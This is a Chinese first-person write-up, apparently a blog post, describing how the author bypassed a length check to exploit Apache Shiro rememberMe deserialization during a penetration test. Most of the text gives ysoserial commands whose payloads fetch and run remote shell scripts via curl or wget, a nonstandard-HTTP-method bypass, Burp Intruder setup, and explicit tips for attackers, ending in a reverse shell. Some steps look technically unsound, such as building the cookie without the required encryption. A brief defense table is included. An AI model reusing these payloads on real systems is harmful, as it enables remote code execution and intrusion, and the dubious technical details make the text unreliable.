突破Shiro反序列化长度限制的实战手记
那天凌晨三点,咖啡杯已经见底,我盯着屏幕上那个熟悉的Shiro登录界面,手指在键盘上无意识地敲击着。这已经是本周遇到的第三个使用Shiro框架的系统了,前两个都轻松拿下,但这个系统却让我栽了跟头——不是因为没有漏洞,而是因为那个该死的反序列化长度限制。
1. 初遇Shiro反序列化漏洞
事情要从一周前说起。在对某企业系统进行授权渗透测试时,Burp的被动扫描突然弹出一个提示:检测到Apache Shiro框架。作为Java安全审计的老手,我立刻来了精神——Shiro反序列化漏洞可是渗透测试中的"低垂果实"。
我迅速启动了常用的Shiro反序列化利用工具,填入目标URL和默认密钥,点击执行...然后收获了一个令人困惑的错误:
HTTP/1.1 400 Bad Request Content-Length: 0 Connection: close"可能是工具问题",我心想。于是换上了业内知名的飞鸿哥Shiro攻击套件,结果同样碰壁:
[ERROR] Payload delivery failed: Server rejected request with 400 status这时我才意识到,遇到的不是普通的Shiro漏洞,而是一个经过特殊加固的系统。
2. 长度限制的发现与分析
手工测试阶段,我决定从基础入手,逐步构建payload。使用ysoserial生成CommonsBeanutils1链:
java -jar ysoserial.jar CommonsBeanutils1 "curl http://myvps/shell.sh | bash" > payload.bin然后将其Base64编码,构造rememberMe cookie:
import base64 with open('payload.bin', 'rb') as f: payload = base64.b64encode(f.read()).decode('utf-8') print(f"rememberMe={payload}")当我把这个cookie通过Burp Repeater发送时,再次收到400错误。经过多次尝试,发现一个关键现象:
- 当payload长度≤2100字符时,请求正常处理
- 超过这个长度,立即返回400错误
这明显是某种长度限制机制在起作用。通过对比多个Shiro版本文档和调试日志,我确认这是开发人员有意设置的防御措施——不是WAF,而是应用层实现的payload长度检查。
3. 突破限制的探索之路
面对这种限制,我尝试了多种绕过方法:
方法一:压缩payload
java -jar ysoserial.jar CommonsBeanutils1 "..." | gzip | base64→ 仍然超过长度限制
方法二:使用更短的命令
wget -qO- http://myvps/shell.sh|bash→ 还是太长
方法三:分块传输编码
POST /login HTTP/1.1 Transfer-Encoding: chunked ...→ 被服务器拒绝
正当我准备放弃时,一个偶然的发现改变了局面。在测试各种HTTP方法时,我故意发送了一个不存在的HTTP方法:
FOO /login HTTP/1.1 Cookie: rememberMe=...服务器返回了501(未实现),但关键的是——响应中出现了Shiro的rememberMe处理痕迹!这说明:
- 非常规HTTP方法绕过了长度检查
- Shiro仍然处理了rememberMe cookie
- 反序列化漏洞依然可利用
4. 完整利用链构建
基于这个发现,我设计了完整的绕过方案:
- 生成精简payload:
java -jar ysoserial.jar CommonsBeanutils1 "wget -qO- 1.1.1.1/s|sh" | gzip | base64 -w0- 构造特殊HTTP请求:
CUSTOM /login HTTP/1.1 Host: target.com Cookie: rememberMe=...- 使用Burp Intruder自动化:
攻击类型:Pitchfork Payload set 1:非常规HTTP方法列表(FOO,BAR,XYZ等) Payload set 2:不同长度的rememberMe payload- 成功响应特征:
HTTP/1.1 500 Internal Server Error Set-Cookie: rememberMe=deleteMe; ...当看到这个响应时,我知道反序列化已经触发,立即检查服务器日志确认命令执行:
tail -f /var/log/apache2/access.log 1.1.1.1 - - [GET /s HTTP/1.1] 2005. 防御措施与对抗思路
针对这种绕过技术,防御方可以考虑以下措施:
| 防御措施 | 实施方法 | 有效性 |
|---|---|---|
| 更新Shiro版本 | 升级到1.7.0+ | ★★★★☆ |
| 自定义密钥 | 替换默认AES密钥 | ★★★★★ |
| 请求方法过滤 | 只允许GET/POST等标准方法 | ★★★☆☆ |
| 多层长度检查 | 在Servlet前添加过滤器 | ★★★★☆ |
而对于攻击方,我的实战建议是:
保持payload精简:
- 优先使用wget/curl等短命令
- 考虑分段执行(先下载后执行)
方法轮询技巧:
methods = ['FOO','BAR','XYZ','TEST','CUSTOM'] for method in methods: send_request(method, payload)自动化工具改造: 修改现有Shiro利用工具,增加:
- 非常规HTTP方法支持
- payload长度优化
- 自动检测响应特征
凌晨五点,当第一个反向shell连接建立时,我长舒一口气。这次经历再次证明,在安全攻防的世界里,没有绝对的安全,只有持续的对抗。那些看似坚固的防御,往往只需要换一个角度思考就能找到突破口。